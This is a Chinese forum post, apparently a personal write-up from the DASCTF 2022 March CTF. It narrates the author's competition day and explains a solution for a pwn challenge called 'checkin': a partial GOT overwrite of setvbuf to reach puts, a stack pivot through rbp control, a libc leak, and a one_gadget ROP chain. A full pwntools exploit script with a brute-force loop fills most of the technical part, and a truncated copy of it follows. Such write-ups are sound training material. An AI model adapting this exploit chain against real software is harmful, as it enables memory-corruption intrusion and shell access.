首页
社区
课程
招聘
[原创]【Dasctf2022三月月赛】pwn手短程坐牢实录
发表于: 2022-4-28 18:38 13973

[原创]【Dasctf2022三月月赛】pwn手短程坐牢实录

2022-4-28 18:38
13973

早上8点40起床,以为9点打比赛,匆匆忙忙洗漱一下就赶紧打开电脑。结果10点hhhhh

比xxxx良心多了

然后去学校美食城吃了一碗牛肉粉,就run去协会了,到协会发现void和cjj早就在了,但是ymnh居然没来。

qq上问

img

。。。。

然后过了没多久10点,平台正常卡了一会就开始坐牢了。checkin一开始就想到的ret2dlresolve,因为前天面NaN的时候负责人MR.R正好问过,但是俺不会啊。。。所以想到爆破。但是俺的爆破太低级了,而且会受到onegadget寄存器的限制。然后就去看pwn2了,发现应该是house of orange但是没啥思路,就回去看pwn1,按着32位的模板调了一下午,后来还是没出。。。

比赛还有10分钟结束的时候和MR.R交流了一回,然后也和校外师傅和ymnh交流了一下,发现,乱搞它不香吗?

刚刚在自己的虚拟机上也测试了一下乱搞的爆破模板,不到1秒中就跑出了。。。。

所以ret2dlresolve都不学

img

img

非常的直接嗷

热知识——在libc中setvbuf和puts函数离得非常近,就低4位不相同,那么如果采取覆盖setvbuf低4位使得调用setvbuf的plt的时候跳转到puts函数,爆破大概16分之一的概率就可

所以别提那破寄吧ret2dlresolve了,就按着setvbuf打,这样我们就有了泄露libc地址的机会。

然后这题其实涉及到栈迁移和控制ebp指针来实现任意地址写的,具体是这样的:

第一次read覆盖rbp指针为bss(全局可写段),然后返回read函数前面mov rdi,[rbp+buf]的位置

img

就可往bss+buf上面写东西了,然后同样写到rbp(和bss是同一个值),将rbp置为bss+buf,然后ret leave ret 我们就同时也完成了栈迁移,这种利用手法是非常方便的。

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
##r = remote("chuj.top", 51904)
##proof_of_work(r)
libc=ELF('./libc.so.6')
elf=ELF('./checkin')
 
def z(p):
    gdb.attach(p)
 
## init_set
bss=0x404080+0xe00
pop_rsi_r15_ret=0x401251
leave_ret=0x4011E2
read_plt=elf.plt['read']
read_got=elf.got['read']
setbuf_got=elf.got['setvbuf']
setbuf_plt=elf.plt['setvbuf']
pop_rdi_ret=0x401253
 
 
## set_bss_ret
def exp():
    r=process('./checkin')
    pd=0xa0*'a'+p64(bss)+p64(0x4011BF)
    ##z(r)
    r.send(pd)
    ##sleep(1)
 
    ## stack_remove
    pd=p64(0)
    pd+=p64(pop_rsi_r15_ret)+p64(setbuf_got)+p64(0)+p64(read_plt)
    pd+=p64(pop_rdi_ret)+p64(read_got)
    pd+=p64(setbuf_plt)
    pd+=p64(0x401156)
    pd=pd.ljust(0xa0,'a')
    pd+=p64(bss-0xa0)+p64(leave_ret)
 
    ## recover_setvbuf_plt
    ##z(r)
    r.send(pd)
    ##sleep(1)
 
    r.send('\x50\x44')
    ##sleep(1)
    libcbase=u64(r.recvuntil('\x7f').ljust(8,'\x00'))-libc.sym['read']
    log.success('libcbase:'+hex(libcbase))
 
    ## set_libc_func
    pop_r15_ret=libcbase+0x23b71
    pop_r12_ret=libcbase+0x2f739
    onegadget=libcbase+0xe3b2e
 
    ## set_rop
    rop=p64(pop_r15_ret)+p64(0)+p64(pop_r12_ret)+p64(0)+p64(onegadget)
 
    ## meikaierdu
 
    pd=0xa0*'a'+p64(bss+0x100)+p64(0x4011bf)
    z(r)
    r.send(pd)
    pd=p64(0)
    pd+=rop
    pd=pd.ljust(0xa0,'\x00')
    pd+=p64(bss+0x100-0xa0)+p64(leave_ret)
    r.send(pd)
    r.interactive()
    ##sleep(1000000)
 
while True:
    try:
       exp()
    except:
       continue
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
##r = remote("chuj.top", 51904)
##proof_of_work(r)
libc=ELF('./libc.so.6')
elf=ELF('./checkin')
 
def z(p):
    gdb.attach(p)
 
## init_set
bss=0x404080+0xe00
pop_rsi_r15_ret=0x401251
leave_ret=0x4011E2

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//